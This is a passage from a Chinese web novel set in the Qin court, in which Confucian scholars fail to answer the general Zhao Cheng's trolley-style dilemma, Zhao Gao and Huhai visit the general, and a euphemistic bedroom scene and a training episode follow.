心中的混沌不解,渐渐变得清晰,好似有一道亮光从外界射来,照透了所有的黑暗。
淳于越见此,心中好受了一些,可怜的孩子,差点被血屠蒙蔽。
吾亲身教导良久,才栽育出如此正直的幼苗,怎可被那血屠三言两语给带偏了去?
他叹了口气,又打开一份礼记,“此篇明言‘孟春之月,禁止伐木,无覆巢,无杀孩虫’——天尚且怜幼弱,何况人乎?
今秦军屠城杀卒,与‘仲冬斩草除根’的暴政何异?
那血屠若真懂仁义,该学卫武公‘如切如磋,如琢如磨’的慎刑,而非学夏桀‘上天弗恤,夏命其卒’的暴虐!
公子且记:真正的仁义是‘执柯以伐柯,睨而视之’的循礼。
绝非‘以杀止杀’的诡辩!”
扶苏目光明亮,清脆笑道,“正是如此,若是当时先生在那殿上,定能狠狠驳斥那血屠,不至于像吾一般,被血屠三言两语就驳得讷讷无言。”
他觉得丢脸,更觉得自己学问不够精深,应该再深入研究儒学,将儒学学透,融入骨髓血脉,思想深处才行。
淳于越欣慰地笑了,“那血屠只知打仗屠戮,哪里懂得儒家的道理博大精深,恃武力者强于一时,恃德行者才能王于万世啊。”
扶苏此时也轻松下来,又说出了自己始终想不明白的那个疑问,“对了先生,那血屠还问了吾一个问题,吾始终想不出答案。”
淳于越慈祥笑着,成竹在胸,“何问?臣为公子解答就是。”
扶苏说道,“那血屠问,若一架马车飞驰之中失控,奔向一幼童,而吾可鞭退马车,但代价是马车之中五人尽死,吾是否要救那幼童?”
“此问有何难?只要……”淳于越说着,突然脸色微变,意识到了这个问题的刁钻诛心之处。
他深深皱眉,低头沉思起来。
那眉头是越皱越深。
好个血屠,竟敢以此诛心!
他的手指死死掐在案头上面,指节因用力而泛白,却在触及竹简边缘时骤然松开。
他张了张嘴,想要说些什么,却又没能发出声音来。
眉头紧皱之际,他的心思越转越快,越转越急,诸多圣人之言在他的脑海之中闪过,又似有无数典籍随着疾风快速翻页。
无数的理论流淌在心头,却找不到一丝破解之道。
若是他身临其境,只来得及鞭退马车,他该如何抉择?
他握住了尚书,却感到这竹简如同烙铁一般,烫手不已,触电一般松开。
“血屠此问……恰似桀纣问比干''天为何有日''..……”
扶苏见到淳于越的表现,刚刚升起来的信心与清明又渐渐回落,“可天为何有日一问,无从回答,也没有意义,救童与否之问,却是真实可能遇到的。”
“若某日行于城中,当真遇到此情此景,依仁义之道,吾该如何抉择?”
“请先生教我!”
此问横亘在扶苏心中,挥之不去。
他实在是迈不过去。
淳于越抬头看到迷茫的扶苏,踉跄后退几步,袍角扫过书架,竹简噼啪啦坠地。
"若救幼童则五人死...若不救则一童亡..."
他的声音突然嘶哑得像被砂纸磨过,"这哪里是问仁义...分明是拿秤来称孔夫子的''仁''字能换几斗粟米!"
他想得更多,也更深,“那马车若是秦法的苛政...那幼童便是天下的黔首...可五人难道不是黔首?”
“若不能以杀少救多为仁,难道就视而不见,放任马车碾压幼童,便是仁吗?”
他突然感到浑身无力,儒学最为珍视的恻隐之心,在这一问之中,反倒成了致命的桎梏,让他进退维谷。
上前一步则毁仁,退后一步则灭义。
若是跳出此局,以拉住马车取巧作答,便是避其锋芒,可以说是输给了血屠。
扶苏如何还会重视儒学?
此时,他终于知道扶苏回来的时候,为何是那副模样。
如今就连他,都有点要儒心崩碎。
不行,不能我一个人受难。
“此问……”淳于越斟酌着回答扶苏,“确实有些难度,以臣之学说,尚不能答得完美,需叫上其他儒学博士来共同探讨。”
他令门生,“去请博士周青臣来,就说吾有一问不解,需要请教他。”
门生亦是脸色苍白,脚步匆匆地去了。
没多久,周青臣就施施然踏入宫学,一脸笑意盎然,头颅微昂,略有傲然之色。
他看了看扶苏,行礼道,“见过公子。”
而后他又傲然看向淳于越,笑眯眯道,“淳于博士素来精于学问,今日怎的破天荒要问周某问题?”
“哎呀,讨论学问,何谈请教?真是不敢当。”
“不过教导公子实在是大事,淳于博士既然遇到了解决不了的学问问题,周某也只能放下手头的事情,立刻赶来了。”
他说着不敢当,嘴上的笑意却是掩藏不住。
都是博士,学的也都是儒学,淳于越却可以教导公子扶苏,好像比他学问精深似的。
这不,遇到问题,还是解决不了,不还得请他周青臣出面解决?
如此一来,高下立判。
公子总该知道,谁才是精通儒学的博士了吧?
淳于越见状暗暗冷笑,现在你笑得开心,且看你一会儿还笑不笑得出来。
“确实是有一个问题难以解决。”
“不久前,公子在殿上遇到了那血屠赵诚,被他以仁义反问,不知如何作答。”
“吾回复了几问,但有一问,实在刁钻,不知该如何反驳才是。”
“哦?”周青臣有些惊讶,也有些不屑,更有些瞧不起淳于越。
一个大儒,竟然被一个打仗的屠子给问住了,真是白学了这许多年的儒学,陛下怎的让他来教导扶苏公子?
“公子莫急,臣来解此问。”
“淳于博士,把此问说与吾听!”
他微昂着头,挺立在那里。
好似天降救星。
扶苏又看到了希望。
淳于越点了点头,说道,“是这样一问——
若一架马车飞驰之中失控,奔向一幼童,而吾可鞭退马车,但代价是马车之中五人尽死,吾是否要救那幼童?”
“自然是……”周青臣刚要作答,突然卡住,意识到了这问题中的巨大陷阱。
他苦思片刻,豁然抬头,惊怖地看向淳于越。
好你个淳于越,自己挨坑还不够,怎么拉着我也来!
这可是在公子面前啊!
你就不能先让公子离开,再叫我来讨论?
这可坏了!
刚刚还表现的胸有成竹,如今若是答不上来,岂不一世英名尽毁?
该死,淳于越误我!
可恶的血屠,怎的问出如此诛心之言?
在扶苏那求知的目光之下,他额头隐隐冒汗,心念急转之间,顺着话头说道。
“这有何难,须知《春秋》书‘邢迁如归’,看重的是‘民视之如归’的本心,而非‘得失相抵’的市侩!
那马车如桀纣之暴政,幼童似待哺之黎元。
公子若问‘是否救幼童’,便该先问‘为何纵马车失控’——正如秦若行仁政,何需用‘鞭退马车’的酷烈手段?”
“昔者孔子过匡,匡人围之五日,夫子犹曰‘天之未丧斯文也’,是因他知‘仁’如日月,纵有浮云蔽目,不可自毁光明以逐暗!”
“仁义之道,正在于‘见其生,不忍见其死;闻其声,不忍食其肉’的恻隐。”
“仁如织锦,每一线都需怜惜。义如琢玉,每一刀都需谨慎。那失控的马车正如苛政,真要救幼童,该做的是拉住缰绳而非挥鞭杀人!”
他直接选择跳出此局,退而求其次。
然而扶苏的目光变得有些黯然,他也不傻,若是能拉住缰绳,何必再有此问?
正是因为拉不住缰绳,才要抉择。
而这种情况,他若遇到,如何来得及拉住缰绳?
淳于越更是冷笑,“此问难就难在来不及去拉住缰绳,只能鞭退马车,若以此解,岂不叫那血屠赢了一筹?”
“吾等如何再以仁义教公子?”
周青臣此时也意识到了这一点,“这……”
“确实如此。”想了想他一咬牙,“吾也答不上来,这样,吾叫伏胜来,伏胜学问精深,定能答得上来!”
第84章 诸儒困于宫学,铁杆迷弟蒙毅!
没过多久,伏胜大摇大摆地踏入宫学。
其姿也,昂首挺胸,睥睨八方。
周青臣和淳于越这两个大儒都解决不了的问题,要请他来解决,这不正是说明了,这两人的学问不如自己?
“二位,到底是何问题,连你们都解决不了,还需要叫我来解决?”
“公子莫慌,吾既然来了,定然让这问题水落石出……”
淳于越和周青臣笑眯眯地看着他,然后将问题说了出来……
一段时间后,伏胜垂头丧气地蹲在宫学门口,头发散乱成了鸟窝状,不断地抓耳挠腮摇头叹气。
他看向一旁同样垂头丧气的两人,不由得有些咬牙切齿。
用心何其险恶!
往日里,有什么好事不见你们来找我,如今有这样的麻烦,倒是没有忘了我。
真是宁愿不认识这两个混账!
但事到如今,也没有什么好办法,扶苏公子还在宫学里面等着,目光黯然,小小的年纪就受到如此严峻的拷问,那血屠当真是不当人子!
周青臣两人的目光始终看着伏胜,伏胜摩挲着下巴,目光深沉,“事到如今,合我们三人之力,恐怕是想不出这个问题来了。”
“不如……召唤大家一起来解决这个问题,如何?”
“善!”
周青臣和淳于越同时点头,很是赞同这个想法。
于是,又是一段时间后,各方儒学官员相继抵达宫学。
一开始来的时候,都是脸上带着荣耀的神色。
然而用不了多久,就都变成了愁眉苦脸,面对淳于越三人,也是显得有些幽怨。
于是宫学之中就出现了这样一幕,扶苏坐在宫学之中双目无神。
而在他的周围,一个个儒学大臣抓耳挠腮,唉声叹气,在宫学之中不断地翻看着各种典籍,想要找到某种破局之策。
可惜,这个问题对于赵诚这样的人来说非常简单。
但是对于注重仁义,以仁义为根本的儒士来说,却非常之难。
无论如何作答,都相当于亲手碾碎仁或者义的其中一方,偏偏他们还听说,陛下下了命令,如果儒学解决不了这个问题。
就让扶苏去跟随那血屠治军。
诸多儒臣可都还指望着扶苏好好学习儒学,等到上位之后,以儒学治国,到时候他们这些精通儒学的大臣官僚,自然就能够得到重用。
一身所学,也能够应用到大秦治国之中。
如今那血屠只以一个诛心之问,就已经让扶苏开始动摇。
若是真让扶苏去跟随他去治军,那还得了?
这是关乎整个儒学官僚集团未来前途的大事,他们越是想不出来,越是心急如焚。
如此抓耳挠腮,直到天都快黑了,讨论也逐渐变得激烈,渐渐成了辩论。
到了后来,成了群儒舌战,谁也说服不了谁。
此处的场景,自然传到了宫中嬴政的耳朵里。
“陛下,宫学之中现在已经吵翻了天。”
赵高如此对嬴政说着。
嬴政眼中又是闪过一丝笑意,“哦?是因为赵诚那个车舆论?”
“正是,淳于越无法解决这个问题,又叫来了周青臣,周青臣也无法解决,于是叫来了伏胜。”
“如此一传十,十传百,朝中的儒学大臣,现在几乎都聚集在宫学之中,为这个问题而犯难。”
“又因为长时间没有答案,他们渐渐焦急起来,现在已经吵得很是激烈了。”
嬴政想着那副画面,心中莫名觉得异常痛快。
这些儒学博士和官员倒也不是全然无用,但是却也没少给他添堵。
满口没有实际意义的仁义道德就不说了。
这些人更是以儒学教导扶苏的名义,想要未来扶苏秉持儒学治国。
嬴政对他们的心思一清二楚,他虽然不否认儒学的作用,但儒学的仁义治之并不适用于现在的秦国。
而且,这些儒士想的也不全然都是国家,还有许多都是私心。
若是扶苏真的就这样沉迷儒学下去,迟早会被他们给洗脑成了腐儒,到时候才是真的麻烦。
偏偏扶苏本人也是倾向于儒学,这让嬴政也无法施展强硬手段去阻止。
好在赵诚出现了,只用了一个问题,就让这群儒士想破了头也没办法。
真是痛快。
“那就让他们想去,寡人倒要看看,他们有没有本事解决赵诚提出的这个问题。”
“若是解决不了,那就让扶苏去跟随赵诚治军,不然总是优柔寡断,满口仁义,以后如何成事?”
赵高见缝插针道,“陛下,小公子胡亥近来学习狱法进境很快,而且听说了赵诚上将军的事迹之后,言语之中对大良造多有崇拜,不如让小公子也去跟随赵诚一段时日?”
嬴政极有识人用才之能。
赵高之所以能成为九卿之一的太仆,就是因为他在宫中展现出了强大的能力。
他原为赵国宗族远支,因母在秦国服刑,其兄弟数人皆生隐宫。
后在宫内担任杂役,因其精明强干,通晓法律,被秦王政提拔为中车府令。
但因为一次重大失误,被上卿蒙毅依法查办,认为依照秦律,应该定为死罪,赵高因此差点被弄死了。
好在赵高巧言令色,而且确实具有才能,才被嬴政赦免。
官复原职不说,之后短短几年时间里接连升职,后来更是成为太仆。
又因为精通法学和刑狱,被嬴政安排辅导胡亥判案断狱。
这人不但能力出众,而且心思玲珑机敏,极为擅长察言观色,只用了很短的时间,就让胡亥赏识和信任他。
而且在他的教导之下,胡亥也确实在判案断狱之学上长进很快,让嬴政很是满意。
如今赵高已经深知嬴政赏识赵诚,而赵诚此人实力出众,未来必然是秦国的一方巨擘。
如此一来,自然不能让扶苏先亲近赵诚,胡亥也该跟上才是。
嬴政闻言,觉得胡亥这孩子虽小,却比扶苏要让他省心的多了,于是便点头道,“也好,他虽年幼,却也该早点了解军中之事。”
“就依此办吧。”
“唯。”
……
“兄长,吾今日当真能够见到大良造吗?”
“可以。”
“兄长,听说大良造这几日都未曾见客,朝中大臣的邀请也是一律不回,我们真能见到他?”
“唉,蒙毅,这已经是你问的第八遍了。
早在阳城,二叔引荐阿诚的时候,我们便以兄弟相称。
更何况灭韩一战,吾与阿诚并肩作战,共同出生入死,他怎会不见我,你就把心放在肚子里吧。”
蒙恬带着蒙毅向着赵诚的宅邸走着,蒙毅面含激动,还有许多忐忑不安。
时不时搓搓手,时不时整理衣袍,显得十分紧张。
这让蒙恬哭笑不得。
自灭韩归来之后,蒙毅一见到自己,就询问这一战的诸多细节,与传闻对应之后,立刻表现出对赵诚的极大崇拜。
一连好几日,都求着自己带他去见见赵诚。
一开始蒙恬还以赵诚需要休息为由推脱掉,到了后来,实在被他烦得不行,只得提前带着蒙毅来见赵诚。
赵诚累不累他不知道,这一战他是真累啊,才休息了一日,就又跑了出来。
真是……
到了大良造爵府门前,蒙恬对着门房说道,“烦请通报一声,蒙恬来见。”
“原是蒙恬将军,爵爷吩咐过,来客皆不见,但若是蒙将军来了,立刻请入府中。”
蒙武一笑,看向蒙毅,蒙毅已经是高兴的快要跳起来了。
两人步入正堂坐好,又有仆人奉上茶水糕点。
“蒙将军稍待。”
又没一会儿,有脚步声沉沉接近。
蒙毅看去,当即呼吸一滞。
只见一巨大身影龙骧虎步而来。
八尺之躯如巍峨险峰,大氅猎猎若黑云压城。
方一现身,这满堂光线都好似暗了三分。
端的是顶天立地的霸王之姿!
再看其面容,那是面如冠玉,眉似开锋,唇如斩铁,燕颌峥嵘。
金冠下剑眉星目开合间,更有叱咤风云之威!
蒙毅当即就看傻了眼,如在梦中。
如此神姿绝世,在他的想象之中,盖世英雄就该是如此形象。
甚至赵诚的出现,比他想象的还要威武霸烈数分!
一时间,就像是狂热小迷弟一样,局促不安地想要站起来迎上去,却又紧张踌躇不敢上前。
“兄长,怎的不多休息几日,今天就来找我了?”
赵诚见了蒙恬,一如既往地亲切,他对于战场和兵法的了解,大多都源自于蒙恬。
蒙恬对他,亦是知无不言言无不尽,在战场上,更是曾以命相护。
是绝对的自己人。
蒙恬苦笑不已,“你当我不想多休息几日,还不是这小子闹着要我带他来见见血屠阎罗的威风。”
赵诚看向一旁的局促少年,心中已经是有所猜测。
这少年看着十五六岁,面容与蒙恬有些相似,但却要文气一些,眉毛虽也浓,但却多了几分英气,眼睛也是多了几分机灵。
肤色更是比蒙恬白多了。
总的来说,蒙恬是沉稳忠厚,这少年则是要机灵活泼一些。
“来阿诚,介绍一下,这是吾弟蒙毅,现在在陛下身边做事。”
“蒙毅,叫兄长。”
蒙毅激动坏了,立刻肃拜叫道,“兄长!”
赵诚拍拍他的肩,爽朗笑道,“弟。”
蒙毅当即脸色涨红,激动不已。
蒙家三代为将,最为崇尚强者。
蒙恬当时初见赵诚时,尚且很是激动,那时赵诚不过初现峥嵘。
如今赵诚已是名传诸国的灭国大将,一战而军功封就大良造之爵。
更是威震诸国的血屠阎罗。
如此传闻之中的盖世人物与他兄弟相称,他如何不激动?
当下是不知道该说什么好。
看的蒙恬连连摇头,“你小子平常口齿伶俐得很,我都说不过你,今天怎么半个字都憋不出来。”
蒙毅心念急转,正想说些什么,又有府上家奴前来通报。
“爵爷,太仆赵高携公子胡亥求见。”
第85章 一眼吓尿胡亥,温厚忠仆赵高
“公子,一会儿见了大良造,千万尊敬些,此人是陛下都重视赏识的人,而且实力超群,在军中威望如日中天,以后必是秦国一方巨擘。”
“若是能够和他建立情谊,有他支持,公子以后的路就好走多了。”
“先生是否太高看他了?一介武夫血屠,虽然有些军功,但哪里值得吾去尊敬他?他尊敬吾还差不多!”
“公子,此人霸烈,之前在殿前斩杀相国八百门客,更是戟指相国发诛心之言,绝是个无法无天的,公子千万不能对其无礼。”
“嘁,无法无天?我秦国以法立国,吾学得就是法,他还能大的过秦律去?对其无礼又如何,他敢对吾做什么?”
“先生就是太操心了,何必叫吾来随那屠子学习什么治军,那血屠又懂什么,军中又有什么好玩?”
“公子啊,大良造绝不只是会治军打仗,之前在殿前一问,已经难住了诸多大儒,更是让扶苏公子儒心动摇,若是扶苏公子不再坚持儒学,又跟随大良造治军,得了大良造支持,陛下就会更喜欢他了。”
听到这话,胡亥才微微皱起眉头来,他不在意什么大良造,但是却希望王父更喜欢自己,而不是扶苏。
如今他年纪虽小,但是在赵高隐晦的教导下,也开始有了野心。
隐隐将扶苏视为敌人,想要凭借嬴政的偏爱,去搏得那个位置。
秦国以法治国,他便努力学习刑法,也确实将刑法学得不错,相比于扶苏,这一点上更得嬴政欢心,也让他有些自傲。
“好吧,吾会尽力,不过他也不能对吾无礼。”
胡亥有气无力的说着,赵高则是露出笑容来。
正此时,有府上仆役领两人去见赵诚。
胡亥顿时不满,“吾为秦国公子,他怎可不来迎接?”
赵高连忙说道,“无妨无妨,公子,大良造定然是有要事在身。”
“走,我们去见大良造。”
胡亥愈发不满,却也只好跟随赵高向着宅邸之中走去。
他想着一会见到赵诚,定要先斥责他一番,给他一个下马威。
不然若是让他如此嚣张下去,之后跟随他学什么治军,还不知道要受多少委屈。
他之前毕竟是随赵高学习狱法的。
而赵高此人,又极为擅长察言观色,每句话都捧到点子上,每个行为都顺着他的心意来,以至于他习惯了这样,认为不论随谁学习东西,都应该如此。
到了正堂之前,却听到堂中有笑谈的声音。
离得近了,更是看到蒙恬和蒙毅在笑着与另一边说着什么。
胡亥脸色愈发阴沉。
哪有什么要事?
分明是在笑谈聊天。
吾亲自来了,竟然如此无视,而且,还有那个讨厌的家伙在!
他是认得蒙毅的,曾在赵高口中,得知此人诸多讨嫌之处,虽然接触不多,却已经心生恶感。
“爵爷,小公子胡亥到了。”
“让他们进来吧。”
一旁的蒙毅笑容渐渐散去,看向门口进来的赵高。
两人因为之前蒙毅依法定罪之事结怨,此后虽然并没有什么明显的过招,但是暗中你来我往的角力却是不少。
而且蒙恬蒙毅与扶苏关系不错,赵高则是时常在嬴政面前夸奖展现胡亥的才能,导致本来年幼的胡亥表现的比扶苏好像还要好上许多。
如此用心,自然为蒙毅不喜。
而赵高却笑意盎然,先是对赵诚行礼,“太仆赵高,参见大良造上将军,大王有令,命小公子胡亥跟随上将军治军学习,某便亲自带小公子来见大良造了。”
“公子对大良造多有崇拜,但年纪尚幼,若有不妥之处,还望大良造海涵。”
胡亥在赵高身后,始终没有正眼去看赵诚,那意思是,你不来迎我,我就无视你。
然而听到赵高的话,却很是不满,不由得嘁了一声。
“谁会崇拜一介屠子?”
此话一出,蒙毅顿时双目一凛,怒而不言。
赵诚却是不以为意,“随我学习治军?那大王可是将他全权交给我了,我如何教导都行?”
“这……”赵高迟疑片刻,“小公子毕竟年幼,也不好太过苛刻。”
赵诚大手一挥,“不教不教,治兵打仗又不是儿戏,哪有空去伺候小孩子。”
赵高脸色一变,“大良造,这毕竟是大王的命令,大王只是想小公子学习学习大良造的铁血。”
赵诚轻笑一声,“大王的命令?那不然我亲自去见大王,就说此子顽劣,不愿听我教导,如何?”
“你!”
听闻此言,胡亥顿时忍不住了,当即从赵高身后出来,直视赵诚就要怒斥。
然而,当真正正眼去看赵诚,与之四目相对时,他才终于明白,何为血屠阎罗。
有起错的名字,没有起错的外号,这血屠阎罗之名传遍诸国,其人自然煞气滔天!
仅仅一个对视之下,胡亥当即双腿一软跌坐在地,苍白着脸色,腿上一阵热流淌过。
竟然是尿了裤子。
他心神颤抖,同时也意识到自己在赵诚面前丢了大人,本来想要怒斥的气势和自傲,此时全部化为了恼羞成怒。
“你……你敢吓我!!”
“混账!”
赵诚挑了挑眉,突然大步上前。
那大氅下的魁躯顿时如同巨山压来,煞气席卷之下,胡亥大脑一片空白。
好在此时赵高横移一步,挡在了赵诚身前,依然笑意和顺,“大良造威武,小公子还年幼,承受不住大良造的气势,既如此,不如就算了。”
赵高脸色不变,巍然不动。
赵诚挑了挑眉,看了看他,升起几分兴趣。
“太仆当真忠心耿耿……”
他大手拍在赵高肩膀上,体内真元循着封窍秘法尝试涌入。
然而赵高不动声色后退一步,“大良造身怀伟力,这一拍某得肩膀都要断了,实在承受不起啊。”
这可不像是承受不起的样子,这家伙有东西啊。
赵高的形象,与赵诚对太监的刻板印象不同。
此人亦是生的高大魁梧,而且面貌并不奸猾,反而相貌堂堂,看起来和顺亲切,举止有度,语音柔和,与之对谈如沐春风。
若非从后世了解此人,任谁都会觉得,这是个性情极好的忠仆。
“太仆明明筋骨坚韧,亦有家传秘法?”
赵高苦笑道,“某是罪奴出身,哪有什么家传,今小公子既然承受不住大良造的气势,某便带着他回宫去了。”
“小公子年纪尚幼,今日有些不妥之处,还望大良造不要放在心上。”
“无妨,我也不会和小孩子计较,就不送了。”
赵高俯身,将咬牙切齿却依然不敢去看赵诚的胡亥抱在怀中,又以衣袍覆盖,遮掩其失态之处。
浑然不顾自己失态,快步走向府外马车,匆匆离去了。
赵诚静静看着,不知在想些什么。
而蒙毅已经来到他的身后,担忧说道,“兄长,赵高此人心思深沉,且睚眦必报,胡亥这孩子在他的教导下,更是乖戾,心胸狭小,今日之事……”
赵诚点了点头,“无妨的,他不能拿我怎么样,倒是你,以后在宫中要多小心一些。”
见赵诚没有被赵高蒙蔽,反而直接相信了他所说的话,还关心他的安危,蒙毅更是欣喜。
“兄长放心,吾与赵高不是共处一日两日了,也斗了几次,他也不能拿我如何。”
“不过,我总觉得赵高有很大的野心,陛下命其教导小公子胡亥,更是给了他机会,他曾多次在陛下面前,表现胡亥的聪明才智。”
“尤其是在公子扶苏忤逆了陛下,或者令陛下不满之后,他便会让胡亥刻意表现,讨陛下欢心。”
“可惜公子扶苏太过正直,得知此事也只是认为,儿子讨父亲欢心是理所应当,不作他想。”
“但长此以往,谁也不知陛下会不会有另立胡亥的想法。”
赵诚说道,“不用担心,立嫡长子为太子是秦制,只要扶苏不死,另立胡亥这事首先就过不了宗室和官僚集团那一关。”
蒙毅还是有些担忧,“陛下毕竟是有大魄力之人,若是实在对公子扶苏不满,又有赵高在一旁谗言吹风,未必不会开创先河,另立胡亥。”
赵诚摇头笑道,“你未免也太小看陛下了,虽说家事难断,当局者迷,但陛下可是秦……王啊。”
“与其担忧陛下那里,你倒不如多去劝劝扶苏。”
“他那哪里是正直,分明就是迂腐。”
“能改过来还好,改不过来,还不如让陛下理政到天荒地老。”
蒙毅又是尴尬,又是苦笑不已。
他知道赵诚说的是对的,扶苏那家伙说好听点是正直,说不好听点就是个死脑筋。
真要是上位了还这样,恐怕要被那些官僚拿捏的死死的。
“对了,听说兄长抛出一问,扶苏不能答,回去请教博士淳于越。”
“结果淳于越也答不上来,又叫了周青臣。
如此一传十十传百,朝中儒士现在都在宫学中抓耳挠腮,恐怕要不了多久,扶苏也如胡亥一般,被派来跟随兄长左右了。”
“到时有兄长出手,定能拨乱反正!”
第86章 营中怪象,断玉出关,传道授业
拨乱反正?
说起这事,赵诚就无语。
在原本的历史进程中,始皇帝在最后一次东巡时,长期超载负荷理政的身体终于坚持不住,驾崩于东巡之中。
赵高抓住时机,扣押了召回上郡监军扶苏的诏书,并说服李斯,假传诏书赐死扶苏,而后拥立胡亥上位。
而迂腐的扶苏在得到假诏书的时候,竟不顾蒙恬的劝阻,直接自杀,导致蒙恬也没有了自处之地,最终被赵高迫害至死。
蒙毅也接连被赵高迫害至死。
没有了蒙恬蒙毅两大国柱,再加上胡亥昏庸享乐,赵高专政指鹿为马,天下民不聊生,各方起兵造反,偌大的大秦没多久就开始分崩离析。
秦国奋六世之余烈而成的天下一统,就这样如同儿戏一般地塌了。
究其原因,一是扶苏始终没有成长,不但无法像始皇帝那样镇压群臣,慑服天下,还始终被一群儒生拿捏,秉持着迂腐的仁义之道,反复冲撞始皇帝,才被派去了军中协助大将蒙恬修筑长城、抵御匈奴。
又因为其死死秉持着儒学而不知变通,在收到假圣旨的时候,才会说什么“父亲赐儿子死,哪里还要再请示什么?”
而后直接自杀。
他自己死倒也罢了,但蒙恬与蒙毅都是与之绑定,两人都是忠国之辈,没有扶苏,他们也不可能造反。
于是两个柱国,硬是没有死于战场杀伐,反倒死在了奸臣诡计之下。
何其憋屈。
如今赵诚已是秦国大良造,更是上将军,影响力如日中天,已是国柱一般的人物。
不论扶苏是否能够醒悟,他都不可能让历史再次重演。
更不可能让赵高专政。
至于扶苏,管他作甚?
能醒悟就醒悟,醒悟不了就赶紧发配边疆,免得碍眼。
赵诚只管杀穿军功二十等,封侯拜将即可。
若是始皇帝愿意相信自己,不怕功高盖主,自己就领兵杀穿全球,给他一个全球一统的鼎盛大秦,万世基业!
若是不相信自己,反而猜忌打压,那就由他去吧,老登也活不了多少年头。
老登一死,自己横立当朝,赵高想拉着胡亥上位,挟天子令诸侯?
想都不要想!
一个个全砍了,然后找个能干的皇帝打工,自己继续当自己的逍遥侯爷。
自己能活万万年,哪个皇帝也熬不过自己。
所以,放下助人情节,享受快乐人生,这才是真谛。
谁会去管什么给扶苏拨乱反正?
赵诚笑而不语,蒙毅只当是他胸有成竹,心中决定回去之后好好劝一劝扶苏,让他不要再那么死脑筋,好好随兄长学习才是正理。
“蒙武将军何时抵达咸阳?”
蒙恬说道,“算算时间,也就是这两日了。”
赵诚点了点头,“届时血衣军的名额,优先从归来的军队之中挑选。”
蒙恬很有些惊喜,“如此甚好。”
之前的铁鹰锐士在各军之中都是声名赫赫,每逢艰难大战,必然用他们作为剑锋来解决难点。
而铁鹰锐士改制成为血衣军之后,在赵诚的手中必然更加强大,若是蒙武一部的精锐能够进入血衣军,那便是近水楼台,再加上与赵诚这份情谊在,两军关系会比其他军部之间要亲近得多了。
蒙恬想着,又有点不好意思地张了张嘴,“那个,阿诚可考虑过……”
赵诚看向蒙恬,“副将的位子给你留着呢。”
“不过你要另有安排倒也……”
蒙恬喜笑颜开连忙道,“没有别的安排,我还是喜欢咱们兄弟在一起打仗。”
赵诚笑着从袍子中拿出了调职令,上面有着他的将军印。
“早就准备好了,等你休息够了,就来细柳营任职,顺便帮我看着点他们训练。”
“哦,对了,我还弄了一部炼体之法,你们看一看,若是觉得有用,也可以多练一练,这炼体之法修炼起来精进很快,唯一的问题就是,会很痛苦。”
蒙恬眼睛一亮,大喜过望地接过了赵诚手中的淬体法。
他也有一些家传兵家食气之法,不过那食气之法晦涩难懂,更修炼艰难,曾经他坚持不懈修炼多年毫无所成,便认为那玩意没用,没有再修炼过。
但这淬体之法不同,练兵用的淬体之法,修炼起来又能有多难。
而且,此法是赵诚创造出来的,锤炼体魄方面有多强大可想而知,蒙恬早就羡慕赵诚的神勇无敌了,如今自己也有希望变强,怎会不惊喜?
“这能有多痛苦?咱们这些战场上腥风血雨杀出来的,哪有怕苦的道理,我今日便处理好相应事宜,明日就去细柳营上职,随军一起修炼这炼体之法!”
他抚摸着那记载着炼体功法的竹简,爱不释手。
一旁的蒙毅看得眼馋羡慕,以恳请的目光看向赵诚,“兄长,我能练吗?”
蒙恬奇道,“你又不上战场,你练它作甚?”
蒙毅梗着脖子道,“现在不上战场,以后谁说得准,我也想像兄长那样,横扫千军,立不世之功!”
赵诚好笑道,“能练,你去拓写一份就是。”
蒙毅欢呼一声,伸手去抢蒙恬的那份,“大兄,快给我,我去抄一份来。”
蒙恬无奈,由他去抄写了。
吃过了饭,送走了蒙恬蒙毅,赵诚回到寝居前堂,断玉已经等候在了这里。
此时的她,已经没有了之前的虚弱之色,容光焕发。
那双丹凤眼愈发的摄人心魄,千娇百媚的面容也是愈发白皙柔嫩,好似一碰就能滴出水来。
玉致玲珑的身躯曲线亦是愈发惊人,朱唇嫣红,娇艳欲滴,丰润得让人心头火热。
气质上,更是在原本的贵气高谪,强势妩媚中,多了一丝清柔,似那春风拂过的嫩叶。
换做现在的话说,就是从纯欲变成了纯欲。
前者是纯粹的纯,后者是清纯的纯。
见了赵诚,断玉目露欢喜,玉足轻点上前,跪伏在地,展露愈发玲珑的丰润身躯曲线。
“妾奴恩谢主子赐丹,现今断玉已经凝聚数窍真元。”
她修炼也不是一日两日了,深知元气获取之艰难,更何况精炼元气形成的真元?
然而赵诚给她这一枚丹药,竟能在短短两日时间之内,让她开辟了三个窍穴,更是凝聚了不少真元,存蓄在这几个窍穴之中。
采青诀对元气的要求不高,开辟的窍穴也不多,但那也是真元啊!
她的皮肤更好了,身体更年轻了,面容也愈发貌美,生命活力在体内奔涌,生生不息。
恐怕就连寿命都有不少增长。
这等大恩,她如何不感激,对赵诚也是愈发死心塌地了。
实在是没有跟错人!
“已经凝聚真元了?”
赵诚也有些惊讶,不用炼体,直接食气就是快啊。
而且,这聚元丹的效果,好像比自己想的要强大许多,直接以聚元丹填补窍穴,可能比自己修炼要强得多。
一会儿兑换了试试。
赵诚正想着,断玉已然起身,如冰种玉髓般的手臂环住赵诚的腰肢,如乳燕投怀般伏身在那巨大宽阔的怀抱之中。
“妾奴有些地方好像修出了岔子,想让主子为我查验一番,求主子恩赏。”
温香软玉抱满怀,尤物愈发诱人。
赵诚又是气血蒸腾而上,大手自玉腿至胸腹,顺着任脉游走向上,“是哪里出了岔子?”
断玉玉面微红,凤眸勾魂摄魄,语音缥缈清柔,“妾奴也不知,只能求爵爷一一探查了。”
“那便仔细探查。”
赵诚抱起断玉走向寝居,既然断玉有所疑惑,他自是该用心教导。
又是场旷日持久的传道授业。
多番深入浅出,终是倾囊相授,再出来时,又是翌日清晨了。
……
蒙恬踏入细柳营,还没到血衣军练军的营地,就听到了里面传来的鬼哭狼嚎的声音,他脸上闪过奇怪之色。
听说铁鹰锐士之中个个都是坚韧不拔之辈,意志之强,冠绝全军。
区区练兵,怎么叫得如此惨烈,就算在敌方大牢之中被人上刑,也不会叫得这样凄惨吧?
难道不是他们?
可是那六千轻骑也都是跟随赵诚他们灭韩的精锐,负伤无数尚且一声不吭,都是铁骨铮铮的汉子,怎么会叫得像个娘们似的?
奇怪!
他低头看了看手中爱不释手的血衣军炼体功,心说难道是这功法的问题?
之前赵诚和他说此功修炼痛苦,他还有些不以为意。
此时却感觉,这玩意有点威力。
不过他可是蒙恬,怎么可能与普通士卒一样因为承受不住痛苦而惨嚎?
他摇了摇头,笑着踏入营中。
